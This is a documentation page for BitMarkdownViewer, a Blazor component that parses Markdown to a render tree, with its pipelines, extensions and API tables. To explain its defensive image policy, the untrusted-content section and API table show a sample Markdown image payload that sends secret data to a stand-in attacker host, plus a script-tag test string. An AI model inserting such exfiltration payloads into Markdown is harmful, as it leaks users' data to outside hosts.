Skip to content

Extras

MarkdownViewer

Bit.BlazorUI.ExtrasMdViewerMD

BitMarkdownViewer is a native, SEO friendly Blazor component that parses Markdown into an AST and renders it straight to the Blazor render tree - no JavaScript interop, no third-party packages. Composable pipelines add exactly the flavors a document needs, from the GitHub set to front matter, containers, definition lists and mathematics; URLs are sanitized and untrusted input bounded by default; and the parsed tree, the rendering of any node, and the words the renderers write themselves are all yours to change.

Notes

To use this component, you need to install the Bit.BlazorUI.Extras nuget package, as described in the Optional steps of the Getting started page.

Parsing and rendering happen entirely in C# (no JavaScript interop), so the component renders real DOM and works the same while prerendering, on the server, and on the client.

Raw HTML in the source is rendered as text and every link and image URL is sanitized, so untrusted Markdown cannot inject active content.

Usage

Every example is live. Open its code to see exactly what produced the component running underneath.

Basic

Assign a Markdown string to the Markdown parameter. With no Pipeline the component understands the CommonMark core - headings, emphasis, links, images, lists, block quotes, code spans and code blocks - and nothing else, which is the safest starting point for untrusted content.

Native Markdown in Blazor

Rendered entirely in C# with no JavaScript and no third-party packages.

  • Real DOM output
  • Safe by default
  • Zero interop

GitHub flavored

Richer flavors are opt-in: pass a pipeline to Pipeline. The ready-made BitMarkdownPipelines.GitHub adds the six GitHub flavors - pipe tables with per-column alignment, ~~strikethrough~~, task lists, autolink literals that turn bare URLs and email addresses into links, and the footnotes and alerts shown in the next two sections.

GitHub Flavored Markdown

Supports strikethrough and bare links like https://bitplatform.dev

Task list

  • Parse Markdown in pure C#
  • Render the real render tree
  • Use any JavaScript

Table

FeatureBasicGitHub
Headings✔✔
Tables✔
Strikethrough✔

Alerts

A block quote whose first line is [!NOTE], [!TIP], [!IMPORTANT], [!WARNING] or [!CAUTION] renders as a titled callout. The kind is written out as a heading rather than signalled by color alone, so it survives a screen reader and a monochrome print. Add it on its own with UseAlerts(), or get it with the GitHub bundle.

Note

Useful information that users should know, even when skimming content.

Tip

Helpful advice for doing things better or more easily.

Important

Key information users need to know to achieve their goal.

Warning

Urgent info that needs immediate user attention to avoid problems.

Caution

Advises about risks or negative outcomes of certain actions.

A block quote without a marker is still an ordinary block quote.

Footnotes

A [^label] reference and a [^label]: ... definition anywhere in the document become a numbered footnote. Notes are numbered in the order they are first cited, gathered into one section at the end, and every citation gets its own back-link. A reference with no definition stays plain text and a definition nobody cites is dropped. Add it on its own with UseFootnotes(), or get it with the GitHub bundle - which carries it because [^1]: ... is also a valid link reference definition, so a pipeline with tables but without footnotes would quietly turn the note into a link.

The parser walks the source once1 and hands the renderer an AST2, which is why the same note can be cited twice1.


  1. One pass over the lines, then one pass over the inline text of each block. ↩︎ ↩︎2

  2. An abstract syntax tree - the tree of headings, paragraphs and inline runs that the render tree is built from. ↩︎

References & entities

Two core CommonMark features that need no pipeline. A link reference definition ([label]: /url "title") declares a destination once and lets [text][label], [text][] and [text] reuse it from anywhere in the document - before or after the definition - keeping long documents readable; the definition line itself is not rendered. And character references (©, ©, ©) are decoded to the characters they name everywhere except inside code, where they stay literal.

Reference links

The bit platform site, the Blazor docs, and the same bit link again as a shortcut reference.

Character references are decoded too: © 2026 — © is the same sign written as a number, and ✅ as hex. Inside code they stay literal: ©.

Emphasis extras

Beyond CommonMark's * / _ and GFM's ~~, UseEmphasisExtras() adds the four marks technical writing keeps reaching for: ~subscript~, ^superscript^, ++inserted++ and ==highlighted==, rendered as real <sub>, <sup>, <ins> and <mark> elements rather than styled spans. Subscript shares the ~ character with strikethrough - one tilde is subscript, two are strikethrough - so enabling it implies strikethrough and the two can be added in either order. A lone + or = in ordinary prose is never mistaken for a delimiter: both need a run of two.

Water is H2O, the area of a circle is πr2, and 210 = 1024.

This release adds streaming and drops the old overload, so read the migration notes first.

Ordinary prose is left alone: 1 + 2 = 3, and a+b is not inserted text.

Typography

UseSmartyPants() turns the ASCII stand-ins authors type into the characters they mean: straight quotes curl into typographic ones, -- and --- become en and em dashes, ... becomes an ellipsis and << / >> become guillemets. Whether a quote opens or closes is read from what precedes it, which is also what gives don't its apostrophe. Only text is rewritten - code spans, code blocks and URLs keep every character exactly as it was written.

Default

"Typography matters," she said -- and it's hard to disagree...

The 2024--2026 range uses an en dash; an aside uses an em dash --- like this one.

Code keeps every character: --- "not curled" ...

UseSmartyPants()

“Typography matters,” she said – and it’s hard to disagree…

The 2024–2026 range uses an en dash; an aside uses an em dash — like this one.

Code keeps every character: --- "not curled" ...

Front matter

A real .md file from a docs site or a static-site generator usually opens with a metadata block fenced by --- (YAML) or +++ (TOML). Without UseFrontMatter() that block is ordinary Markdown - a thematic break followed by a heading - so the file renders with its metadata splashed across the top. The extension parses it into a BitMarkdownFrontMatterNode that renders nothing and keeps the raw text. Reading that text back needs the parsed document, which is what OnParsed hands you - it is raised with the tree the renderer is about to walk, just before it does - and BitMarkdownFrontMatterNode.Find(document) finds the node in it, for you to hand to whichever serializer you already use.

Default

title: Release notes date: 2026-09-09 tags: [blazor, markdown]

Release notes

The metadata above describes the file; it is not part of the document.

UseFrontMatter()

Release notes

The metadata above describes the file; it is not part of the document.

Metadata read from the AST: title: Release notes | date: 2026-09-09 | tags: [blazor, markdown]

Containers

UseContainers() adds the ::: fence documentation sites are written with. The word after the fence names the container and becomes its class, and anything after that word is its title - so :::warning Read this first renders as a titled callout without the renderer knowing that "warning" means anything. Containers nest, and the stylesheet already colours the names a docs site reaches for (note, info, tip, success, warning, caution, danger); any other name is a plain block you style yourself. One name means more than a class: :::details renders a real <details> with the title as its <summary>, which is the only way to a collapsible section in a language that has no syntax for one.

Start here

Containers are fenced with three colons. The first word names the container.

Read this first

The rest of the line is the title, and the body is ordinary Markdown.

Containers nest, so an aside can sit inside one.

How the fence is read

The word after the fence names the container; the rest of the line is its title.

This one is a real <details>, so it opens and closes.

A name the stylesheet has no opinion about is a plain block you style yourself.

Definition lists

A glossary, a set of options or an API reference is a list of terms and what they mean, and HTML has an element for exactly that. UseDefinitionLists() reads a term on its own line followed by : its definition - the shape Pandoc and markdown-it use - into a real <dl> of <dt> and <dd>. A term may carry several definitions, and a definition indented under its own text may run to several paragraphs or hold a nested list.

Pipeline
The immutable set of flavors a document is parsed with.
Build it once and share it.
AST

The tree of headings, paragraphs and inline runs the parser produces.

A definition indented under its own text may run to several paragraphs, or hold a list:

  • one
  • two

Abbreviations

UseAbbreviations() lets a document explain its jargon once. A *[HTML]: HyperText Markup Language line declares the term and renders nothing; every whole-word occurrence of it afterwards becomes an <abbr> carrying the expansion, so it is a tooltip for a reader and a spoken expansion for a screen reader. Only text is rewritten - HTMLElement keeps its own name and a term inside code stays literal - and where two terms overlap the longer one wins.

The parser builds an AST and the renderer writes HTML from it, which is what keeps the output usable under a strict CSP.

Only whole words are expanded, so HTMLElement keeps its own name and HTML inside code stays literal.

Mathematics

UseMathematics() reads $inline$ and $$display$$. Its first job is protection: TeX is made of the underscores, asterisks and backslashes Markdown itself is made of, so without it $a_1 + b_1$ loses its subscripts to emphasis. What survives is kept verbatim, delimiters and all, in a span.math-inline or a .math-display. The viewer typesets nothing itself, so with no typesetter on the page the TeX reads as the text it is - which is what the first column shows. Typesetting is the page's choice: in the second, KaTeX renders each of those elements once the viewer has drawn them, reading the class rather than the delimiters, since KaTeX's auto-render does not take a single $ as one and the viewer has already told math from money. Prices are safe: a $ followed by a space, or a closing one followed by a digit, is never a delimiter.

No typesetter

Euler's identity, $e^{i\pi} + 1 = 0$, in one line.

$$\int_0^1 x^2 \, dx = \frac{1}{3}$$

Prices are left alone: this costs $5 and that one $10.

KaTeX

Euler's identity, $e^{i\pi} + 1 = 0$, in one line.

$$\int_0^1 x^2 \, dx = \frac{1}{3}$$

Prices are left alone: this costs $5 and that one $10.

Figures

An image that stands on its own usually wants a caption under it. UseFigures() turns a paragraph holding nothing but a titled image into a <figure> with the title as its <figcaption>. The caption comes from the title and never from the alt text: alt describes the picture for someone who cannot see it, a caption is read by everyone, and using one text for both would have a screen reader say the same sentence twice. An image with no title is left exactly as it was.

The bit platform logo
The logo, as a captioned figure

An image with no title stays an ordinary image:

The bit platform logo

Line breaks

Markdown reflows a single newline into the same paragraph; a break needs two trailing spaces or a trailing backslash. That surprises people typing into a chat or comment box, so UseSoftLineAsHardLine() makes every newline a break instead - the equivalent of the breaks option in marked and markdown-it.

Default

Roses are red Violets are blue Markdown reflows Unless you tell it not to

UseSoftLineAsHardLine()

Roses are red
Violets are blue
Markdown reflows
Unless you tell it not to

Custom pipeline

Compose exactly the flavors you want with BitMarkdownPipelineBuilder. A built pipeline is immutable and thread-safe, so build it once (a field, or a singleton) and share it - passing a newly-built pipeline on every render would re-parse the source every time.

Custom pipeline ✨

This viewer uses a pipeline composed with only the extensions we picked: pipe tables, strikethrough, task lists, emoji and auto identifiers. Autolinks were left out, so https://bitplatform.dev stays plain text.

  • Old approach replaced
  • Anything left to do?

Untrusted content

Rendering Markdown you did not write needs more than URL sanitizing. ImageRendering decides which image sources may load: a remote image is fetched the moment it renders, so ![x](https://attacker.com/leak?data=SECRET) exfiltrates whatever the attacker encodes into the URL without any interaction. SameOrigin (the default) blocks cross-origin images and keeps the alt text; None blocks every image; All is for fully trusted sources. Alongside it, StripBidiControlCharacters neutralizes "Trojan Source" (CVE-2021-42574) spoofing, MaxLength caps how much source is parsed, and MaxNestingDepth is an always-on guard against pathologically nested input.

ImageRendering:

Content from somewhere else

A same-origin image always loads:

the bit logo

A cross-origin one only loads under All:

a remote badge

Unsafe URLs never survive the sanitizer, whatever the policy: a javascript link and an unsafe image.

Raw <b>HTML</b> and <script>alert(1)</script> are rendered as text.

Table of contents

The document OnParsed hands over is good for more than reading one node out of: Document exposes the same tree afterwards, and either way it is the whole document. Walking it with BitMarkdownAstHelper.Descendants is how you read structure out of a document without parsing it twice - here, the headings and the slugs the UseAutoIdentifiers() extension gave them, turned into a navigation rail. BitMarkdownAstHelper.ToPlainText reads the other half out of the same tree: what the document says with none of the markup it says it with, which is the text a search index, an excerpt or a meta description is built from.

Release notes

9.4.0

Added

Footnotes, alerts and reference links.

Fixed

Truncation no longer splits a surrogate pair.

9.3.0

Added

The whole native parser.

Excerpt: Release notes 9.4.0 Added Footnotes, alerts and reference links. Fixed Truncation no longer splits a surrogate pair...

Heading anchors

UseAutoIdentifiers(anchorLinks: true) adds the permalink a documentation site is expected to have: every heading keeps its generated id and gains a # link back to itself, so a reader can copy a link straight to a section. The glyph is hidden from assistive technology and the link is named after its heading instead, so it is announced as "Permalink to Installation" rather than as a punctuation mark; it stays invisible until the heading is hovered or the link itself is focused. A heading may also name its own id by ending with {#the-id}, which is worth doing wherever a generated slug would change with the wording - every link already pointing at that section breaks the moment it does. The marker names the heading and is not part of what it says, so it never reaches the rendered text.

Installation

Hover a heading to reveal the permalink beside it. This one names its own id, so the link to it survives a rewording of the heading.

Package manager

.NET CLI

Inline

Markdown is a block language, so even a single sentence renders inside a <p> that takes a line of its own. Setting Inline renders the root as a span and drops the paragraph wrappers, letting a short piece of Markdown sit inside a sentence, a table cell or a label. Blocks that are not paragraphs still render as themselves, so nothing is silently lost - and because a span may not legally hold a list or a table, a document that turns out to hold one keeps its div and is laid out inline by the stylesheet instead.

Formatting a value in place: the fastest path is Span<T> - read why

Templates

The three node types a host most often wants to draw itself take a template, so your own component can sit in the middle of a rendered document without writing a renderer or a pipeline. CodeBlockTemplate is where a syntax highlighter, a copy button or a diagram renderer goes - it is handed the block, so it can read the language off Info and the source off Content. ImageTemplate is for a lightbox or a placeholder, and LinkTemplate for routing an in-app destination through the router. Every safeguard has already run when a template does: the URL is sanitized, and an image the ImageRendering policy blocked arrives with an empty Url. Anything else is still open to a BitMarkdownNodeRenderer of your own on the pipeline.

Every code block below is drawn by the template, not by the viewer:

csharp
var pipeline = new BitMarkdownPipelineBuilder().UseGitHubFlavored().Build();
bash
dotnet add package Bit.BlazorUI.Extras

And every link, like the bit platform , gets its own chrome.

Interactive task lists

Task-list checkboxes are read-only by default, exactly as GitHub renders them. Handling OnTaskChanged is what makes them live: the boxes become enabled, and ticking one reports its index, its new state, and the source rewritten to match - so storing the change is one assignment. The viewer never edits Markdown behind your back; the state stays the one you own. The rewrite counts the same markers the renderer drew, skipping any inside code blocks, and BitMarkdownTaskList.Toggle is the same helper if you would rather call it yourself.

Release checklist

  • Write the parser
  • Write the renderer
  • Write the docs
  • Ship it

Nested items count too:

  • Polish
    • Icons
    • Copy
Tick a box to see the rewritten source.

Link policy

By default a link to another origin opens in a new tab with rel="noopener noreferrer", and a link within the site opens in place. UseLinkOptions() changes that policy: keep everything in the same tab, which is what a viewer embedded in an app usually wants, or mark user-written links nofollow ugc - the two words that stop a comment box from becoming a link farm and tell a search engine the site did not write them.

A link a reader wrote to somewhere else opens in the same tab and is marked nofollow ugc.

A link to another page here is untouched, and so is one to a section of this page.

Rewriting URLs

A README's relative paths point at the repository it lives in, so rendering it anywhere else breaks every image and every link in it. UseBaseUrl() resolves the relative ones against an address you choose and leaves absolute destinations and in-page fragments alone; UseUrlRewriter() is the general form, for pointing images at a CDN or stripping tracking parameters. Whatever a rewriter returns is sanitized again on the way out, so it cannot reintroduce an unsafe destination - and returning null drops the destination while keeping the text.

Default

the bit logo

The image above is written with a relative path, the way a README in a repository writes one. An absolute link is left alone.

UseBaseUrl(...)

the bit logo

The image above is written with a relative path, the way a README in a repository writes one. An absolute link is left alone.

Localization

Most of a rendered document is the author's words, but a few are the renderers' own: an alert's title, a footnote's back-link, the accessible name of a table's scroll region or of a heading's permalink. Those default to English, and UseTexts() replaces them. They belong to the pipeline because a rendered document has no other place to learn what language it is in - so the same BitMarkdownTexts travels with the flavors, and the numbered ones take their number through {0}.

هشدار

عنوان این کادر از تنظیمات زبان خوانده می‌شود، نه از متن.

جدول و پی‌نوشت هم نام‌های خودشان را از همان‌جا می‌گیرند1.

ستونمقدار
یک۱

  1. نام پیوند بازگشت هم ترجمه شده است. ↩︎

Playground

Everything above, live. Type on the left and the right re-parses as you go; switch the flavor to see the same source under the three ready-made pipelines - Basic (CommonMark only), GitHub (plus the GitHub flavors) and Advanced (plus emoji and heading ids). Re-parsing only happens when an input that affects the output actually changes.

Flavor:
Advanced: the GitHub flavors plus front matter, the emphasis extras (~sub~, ^sup^, ++ins++, ==mark==), :::containers, definition lists, abbreviations, figures, :sparkles: emoji and automatic heading ids.

BitMarkdownViewer

A native Blazor Markdown viewer written in pure C# - no JavaScript, no innerHTML, and no external dependencies zero external dependencies.

Why it exists

Most Blazor Markdown components wrap a JavaScript library and marshal strings across the interop boundary. This one parses Markdown into an AST and renders it straight to the Blazor render tree, so the output is real DOM.

Feature highlights

  • Headings (ATX # and Setext)
  • Bold, italic, bold italic, and strikethrough
  • H2O, x2, inserted and highlighted (the emphasis extras)
  • inline code and fenced code blocks
  • Links and images
  • Ordered and unordered lists, including nesting:
    1. First item
    2. Second item
      • nested bullet
      • another one
    3. Third item
  • GitHub-style task lists:
    • Parse blocks
    • Parse inlines
    • Conquer the world

Code

Inline: var viewer = new BitMarkdownViewer();

public static BitMarkdownDocumentNode Parse(string? markdown)
{
    var document = new BitMarkdownDocumentNode();
    if (string.IsNullOrEmpty(markdown))
        return document;
    return document;
}

Alerts

Tip

Switch the Flavor above to Basic and watch this become an ordinary block quote.

Blockquotes

"Any sufficiently advanced technology is indistinguishable from magic."

  • Arthur C. Clarke

Tables

FeatureSupportedNotes
HeadingsYesLevels 1-6
TablesYesWith column alignment
Task listsYesGitHub flavoured
Raw HTMLNoEscaped for safety

Reference links keep the prose clean1: see the bit platform site.

Safety

Link and image URLs are sanitized, so javascript: URIs are stripped and raw HTML in the source is rendered as text rather than executed.

Plugins (try the Flavor switch above)

With the Advanced flavor you also get emoji and autolinks:

Switch to Basic to see the same source rendered as plain CommonMark.


Made with C# and the Blazor render tree.


  1. The destination is declared once, at the bottom, instead of interrupting the sentence. ↩︎

Style & Class

Use Style and Class to style the wrapper the document is rendered into. Because the output is real DOM, the elements inside it are styled with ordinary CSS descendant rules - no ::ng-deep-style escape hatch and no innerHTML blob to work around.

A styled viewer, set apart with an inline Style.


A classy viewer

Every code span and heading inside it is restyled from the page's own stylesheet.

RTL

Set Dir="BitDir.Rtl" to render a right-to-left document. The stylesheet is written with logical properties throughout, so block-quote bars, list indentation and table alignment all flip with the direction instead of staying pinned to the left.

نمایشگر مارک‌داون

متن درشت و مورب در کنار کد درون‌خطی.

Note

نوار رنگی این کادر با جهت متن جابه‌جا می‌شود.

  • مورد اول
  • مورد دوم
    • مورد تودرتو
ستونمقدار
یک۱
دو۲

API

Every parameter, public member, sub-class and enum this component exposes.

BitMarkdownViewer parameters

Name Type Default value Description
Markdown string? null The Markdown string value to render as html elements.
Pipeline BitMarkdownPipeline? null The processing pipeline (flavor set). Defaults to the basic CommonMark core with no extensions. Use one of the ready-made pipelines on BitMarkdownPipelines (Basic, GitHub, Advanced) or build a custom one with BitMarkdownPipelineBuilder.
ImageRendering BitMarkdownViewerImageRendering BitMarkdownViewerImageRendering.SameOrigin Controls whether remote images are allowed to load, guarding against silent data-exfiltration via auto-fetched image URLs (for example ![x](https://attacker.com/leak?data=SECRET)). Defaults to the safe SameOrigin policy; set it to All to load every remote image when the source is fully trusted, or None for the strictest policy.
Inline bool false Renders the document as inline content: the root element becomes a span and each top-level paragraph contributes its inline content directly, without the <p> that would otherwise force a line of its own. Use it where a short piece of Markdown has to sit inside a sentence, a table cell or a label. Blocks that are not paragraphs (lists, tables, headings) still render as themselves.
MaxNestingDepth int 100 The maximum block/inline nesting depth allowed while parsing. Content nested deeper than this is rendered as plain text instead of being parsed further. An always-on safeguard against denial-of-service via pathologically nested input (e.g. thousands of nested blockquotes) that would otherwise overflow the stack. Values <= 0 fall back to the default. Legitimate documents never approach this limit.
MaxLength int 0 When greater than zero, the Markdown source is truncated to this many characters before parsing, bounding the work done on untrusted input. The cut never splits a surrogate pair. Defaults to 0 (no limit).
OnParsed EventCallback<BitMarkdownDocumentNode> Called after the Markdown source has been parsed, with the document that is about to be rendered. The tree is the same one the renderer walks, so a handler can read it - to build a table of contents from the headings, for example - or rewrite it before it reaches the DOM.
CodeBlockTemplate RenderFragment<BitMarkdownCodeBlockNode>? null Renders every fenced or indented code block, instead of the <pre><code> the viewer would otherwise draw. This is where a syntax highlighter, a copy button or a diagram renderer goes: the template is given the block, so it can read the language off Info and the source off Content.
ImageTemplate RenderFragment<BitMarkdownImageNode>? null Renders every image, instead of the <img> the viewer would otherwise draw - for a lightbox, a placeholder while it loads, or a component that serves a modern format. The ImageRendering policy has already been applied, so a blocked image reaches the template with an empty Url.
LinkTemplate RenderFragment<BitMarkdownLinkNode>? null Renders every link, instead of the <a> the viewer would otherwise draw - to route an in-app destination through the router, or to decorate an external one. The destination has already been sanitized. A link's own content is not rendered for you; read BitMarkdownInlineHelpers.PlainText(context.Children) for its text.
OnTaskChanged EventCallback<BitMarkdownViewerTaskChangedEventArgs> Called when a reader ticks or unticks a task-list checkbox, with the source rewritten to match. Setting it is what makes the checkboxes interactive at all: with no handler they stay the read-only boxes GitHub renders. The viewer does not change Markdown itself - it hands you the new source and leaves storing it to you. Requires the task-list flavor.
StripBidiControlCharacters bool false When true, Unicode bidirectional control characters are stripped from the source before parsing, neutralizing 'Trojan Source' (CVE-2021-42574) spoofing where text is made to display in a different order than it is encoded. Recommended for untrusted or AI-generated Markdown. Zero-width joiners used by emoji and complex scripts are never removed.

BitMarkdownViewer public members

Name Type Default value Description
Document BitMarkdownDocumentNode The most recently parsed document. Useful for reading structure out of the source (headings, links, images) without parsing it a second time.

BitComponentBase parameters

Name Type Default value Description
AriaLabel string? null Gets or sets the accessible label for the component, used by assistive technologies.
Class string? null Gets or sets the CSS class name(s) to apply to the rendered element.
Dir BitDir? null Gets or sets the text directionality for the component's content.
ForceAnimation bool false Gets or sets a value indicating whether the component's animations play at their full duration even when reduced motion is requested.
HtmlAttributes Dictionary<string, object> new Dictionary<string, object>() Captures additional HTML attributes to be applied to the rendered element, in addition to the component's parameters.
Id string? null Gets or sets the unique identifier for the component's root element.
IsEnabled bool true Gets or sets a value indicating whether the component is enabled and can respond to user interaction.
Style string? null Gets or sets the CSS style string to apply to the rendered element.
TabIndex string? null Gets or sets the tab order index for the component when navigating with the keyboard.
Visibility BitVisibility BitVisibility.Visible Gets or sets the visibility state (visible, hidden, or collapsed) of the component.

BitComponentBase public members

Name Type Default value Description
UniqueId Guid Guid.NewGuid() Gets the readonly unique identifier for the component's root element, assigned when the component instance is constructed.
RootElement ElementReference Gets the reference to the root HTML element associated with this component.

BitMarkdownPipelines properties

The ready-made, cached pipelines. Each is built once and shared, so passing one costs nothing per render.

Name Type Default value Description
Basic static BitMarkdownPipeline The basic CommonMark core only: headings, emphasis, links, images, lists, block quotes, code, link reference definitions and character references.
GitHub static BitMarkdownPipeline The GitHub flavors: pipe tables, strikethrough, task lists, autolink literals, footnotes and alerts, on top of the core.
Advanced static BitMarkdownPipeline The GitHub flavors plus front matter, the emphasis extras, containers, definition lists, abbreviations, figures, :shortcode: emoji and automatic heading ids.

BitMarkdownPipelineBuilder properties

Composes a pipeline from the flavors you want. A freshly created builder holds only the CommonMark core; each Use... call adds one extension, and Build() produces the immutable pipeline. The same extension is only applied once.

Name Type Default value Description
UsePipeTables BitMarkdownPipelineBuilder UsePipeTables() Adds GitHub-style pipe tables with per-column alignment.
UseStrikethrough BitMarkdownPipelineBuilder UseStrikethrough() Adds ~~strikethrough~~.
UseTaskLists BitMarkdownPipelineBuilder UseTaskLists() Adds GitHub task lists (- [ ] / - [x]).
UseAutoLinks BitMarkdownPipelineBuilder UseAutoLinks() Adds autolink literals, so bare URLs and email addresses become links.
UseEmojis BitMarkdownPipelineBuilder UseEmojis() Adds :shortcode: emoji replacement, using the built-in map.
UseEmojis BitMarkdownPipelineBuilder UseEmojis(IReadOnlyDictionary<string, string> overrides) Adds :shortcode: emoji replacement, extending the built-in map with per-pipeline overrides. An override replaces the built-in shortcode of the same name.
UseAutoIdentifiers BitMarkdownPipelineBuilder UseAutoIdentifiers() Gives every heading a unique, URL-friendly id slug so it can be deep-linked.
UseEmphasisExtras BitMarkdownPipelineBuilder UseEmphasisExtras() Adds the emphasis flavors beyond * , _ and ~~ : ~subscript~, ^superscript^, ++inserted++ and ==highlighted==, rendered as <sub>, <sup>, <ins> and <mark>. Implies strikethrough, because subscript shares the ~ character with it.
UseContainers BitMarkdownPipelineBuilder UseContainers() Adds custom containers: ':::name optional title' ... ':::' renders as a div classed after the name, which is how documentation sites write admonitions and layout blocks. Containers nest, and the name 'details' renders a real <details> with the title as its <summary>.
UseDefinitionLists BitMarkdownPipelineBuilder UseDefinitionLists() Adds definition lists: a term on its own line followed by ': its definition' renders as a real <dl> of <dt> and <dd>.
UseAbbreviations BitMarkdownPipelineBuilder UseAbbreviations() Adds abbreviations: '*[HTML]: HyperText Markup Language' declares a term once and every whole-word occurrence of it becomes an <abbr> carrying the expansion.
UseMathematics BitMarkdownPipelineBuilder UseMathematics() Adds mathematics: $inline$ and $$display$$ are kept verbatim - safe from Markdown's own emphasis and escape rules - and marked as span.math-inline / div.math-display for a client-side typesetter such as KaTeX or MathJax.
UseFigures BitMarkdownPipelineBuilder UseFigures() Adds figures: an image alone in a paragraph and written with a title renders as a <figure> with that title as its <figcaption>.
UseFrontMatter BitMarkdownPipelineBuilder UseFrontMatter() Adds YAML (---) and TOML (+++) front matter, so a metadata block at the top of the document is parsed into a BitMarkdownFrontMatterNode that renders nothing instead of showing up as a thematic break and a heading.
UseSmartyPants BitMarkdownPipelineBuilder UseSmartyPants() Adds typographic replacement: curly quotes, en and em dashes, ellipses and guillemets. Code spans, code blocks and URLs keep every character as written.
UseAutoIdentifiers BitMarkdownPipelineBuilder UseAutoIdentifiers(bool anchorLinks) Gives every heading a unique, URL-friendly id slug so it can be deep-linked, and - when anchorLinks is true - appends a permalink to each heading. A heading may also name its own id by ending with {#the-id}, which is removed from the rendered text.
UseFootnotes BitMarkdownPipelineBuilder UseFootnotes() Adds GitHub-style footnotes: a [^label] reference plus a [^label]: definition. Included in the GitHub bundle, because a footnote definition is also a valid link reference definition.
UseAlerts BitMarkdownPipelineBuilder UseAlerts() Adds GitHub alerts: > [!NOTE], > [!TIP], > [!IMPORTANT], > [!WARNING] and > [!CAUTION] block quotes render as titled callouts.
UseTexts BitMarkdownPipelineBuilder UseTexts(BitMarkdownTexts texts) Sets the words the renderers write themselves - alert titles, footnote back-links, the accessible names of the regions and controls the markup adds - so a rendered document can be in a language other than English.
UseUrlRewriter BitMarkdownPipelineBuilder UseUrlRewriter(Func<BitMarkdownUrlRewriteContext, string?> rewrite) Rewrites every link and image destination through a function of your own. The result is sanitized again on the way out, so a rewriter can never reintroduce an unsafe destination; returning null drops the destination and keeps the text.
UseBaseUrl BitMarkdownPipelineBuilder UseBaseUrl(string baseUrl) Resolves every relative link and image destination against baseUrl - what a README needs before it can be rendered anywhere but the repository it came from. Absolute destinations and in-page fragments are left alone.
UseLinkOptions BitMarkdownPipelineBuilder UseLinkOptions(BitMarkdownLinkTarget externalTarget, string? externalRel, BitMarkdownLinkTarget internalTarget, string? internalRel) Chooses the target and rel a rendered link carries, replacing the defaults (external links open in a new tab with 'noopener noreferrer'). Pass 'noopener noreferrer nofollow ugc' for links a site's own readers wrote.
UseSoftLineAsHardLine BitMarkdownPipelineBuilder UseSoftLineAsHardLine() Renders every single newline as a line break, the way a chat or comment box does.
UseGitHubFlavored BitMarkdownPipelineBuilder UseGitHubFlavored() Adds the full GitHub bundle: pipe tables, strikethrough, task lists, autolinks, footnotes and alerts.
UseAdvanced BitMarkdownPipelineBuilder UseAdvanced() Adds the GitHub flavors plus front matter, the emphasis extras, containers, definition lists, abbreviations, figures, emoji and auto-identifiers.
Use BitMarkdownPipelineBuilder Use(IBitMarkdownExtension extension) Adds a custom extension. An extension registers block parsers, inline parsers, delimiter processors, AST processors and/or renderers; everything it registers must be stateless, since a built pipeline is shared across concurrent parses.
Build BitMarkdownPipeline Build() Builds the immutable, reusable pipeline.

BitMarkdownPipeline properties

An immutable, reusable Markdown processing configuration produced by a BitMarkdownPipelineBuilder. Pipelines are thread-safe and should be cached and shared rather than rebuilt per render.

Name Type Default value Description
Parse BitMarkdownDocumentNode Parse(string? markdown) Parses Markdown source into an AST, applying all AST processors.
CreateRenderer BitMarkdownRenderer CreateRenderer() Creates a renderer bound to this pipeline's node renderers.

BitMarkdownDocumentNode properties

The root of a parsed Markdown document. Inherits from BitMarkdownNode.

Name Type Default value Description
Children List<BitMarkdownNode> [] The top-level child nodes of the document.
ChildNodes IList<BitMarkdownNode> The node's single child collection (returns Children).

BitMarkdownNode properties

The abstract base type for every node produced by the parser. Nodes expose their mutable child collections so that AST processors (plugins) can traverse and rewrite the tree generically, even for node types they did not define. BitMarkdownAstHelper.Descendants(node) walks the whole tree iteratively, so even pathologically nested documents cannot overflow the stack.

Name Type Default value Description
ChildNodes virtual IList<BitMarkdownNode>? null The node's single child collection, if it has exactly one. Container nodes override this; leaf nodes return null.
ChildLists virtual IEnumerable<IList<BitMarkdownNode>> All mutable child collections owned by this node. Defaults to the single ChildNodes collection; nodes with several (e.g. a table's cells) override this to expose each one.

BitMarkdownFrontMatterNode properties

The metadata block a document may open with, fenced by --- (YAML) or +++ (TOML). It describes the file rather than belonging to it, so it renders nothing and is read back off the AST. Requires the front matter flavor; without it a leading --- is ordinary Markdown.

Name Type Default value Description
Fence string --- The fence that opened the block, either --- or +++.
Text string The raw text between the fences, with the line endings normalized to . Hand it to whichever serializer you already use.
IsToml bool false True when the block was fenced with +++, i.e. TOML rather than YAML.
Find static BitMarkdownFrontMatterNode? Find(BitMarkdownDocumentNode document) Returns the document's front matter block, or null when it has none.

BitMarkdownViewerTaskChangedEventArgs properties

What the viewer reports when a reader ticks or unticks a task-list checkbox.

Name Type Default value Description
Index int 0 The checkbox's position in the document, counted from 0 in reading order.
Checked bool false Its new state.
Markdown string The source with that one marker rewritten, ready to be stored. Produced by BitMarkdownTaskList.Toggle, which counts the same markers the viewer drew and skips any inside code blocks.

BitMarkdownUrlRewriteContext properties

What a URL rewriter is told about the destination it is being asked to rewrite.

Name Type Default value Description
Url string The sanitized destination, exactly as it would otherwise be rendered.
IsImage bool false True for an image source, false for a link destination.
IsRelative bool false True when the URL has no scheme and does not begin with '//'. An in-page fragment (#section) is not relative in this sense, since resolving it elsewhere would break every heading link in the document.

BitMarkdownTexts properties

The words the renderers write into a document themselves, rather than taking them from the source. All strings default to English. The numbered ones take their number through {0}; FootnoteBackReferenceOccurrence takes the footnote's number and the citation's through {0} and {1}.

Name Type Default value Description
AlertNote string Note The title of a > [!NOTE] alert.
AlertTip string Tip The title of a > [!TIP] alert.
AlertImportant string Important The title of a > [!IMPORTANT] alert.
AlertWarning string Warning The title of a > [!WARNING] alert.
AlertCaution string Caution The title of a > [!CAUTION] alert.
Footnotes string Footnotes The accessible name of the footnotes section.
FootnoteBackReference string Back to reference {0} The accessible name of a footnote's back-link, given the footnote's number.
FootnoteBackReferenceOccurrence string Back to reference {0}-{1} The accessible name of one of several back-links on the same footnote, given the footnote's number and the citation's.
Table string Table The accessible name of the scrollable region a table sits in.
PermalinkTo string Permalink to {0} The accessible name of a heading's permalink, given the heading's text.
PermalinkToSection string Permalink to this section The accessible name of a permalink whose heading has no text of its own.
Task string Task {0} The accessible name of an interactive task-list checkbox, given its number.

BitMarkdownAstHelper properties

Helpers for reading and rewriting a parsed document. Every walk here is iterative, so even a pathologically nested document cannot overflow the stack.

Name Type Default value Description
Descendants static IEnumerable<BitMarkdownNode> Descendants(BitMarkdownNode node) Enumerates every node in the tree, in document order, excluding the root.
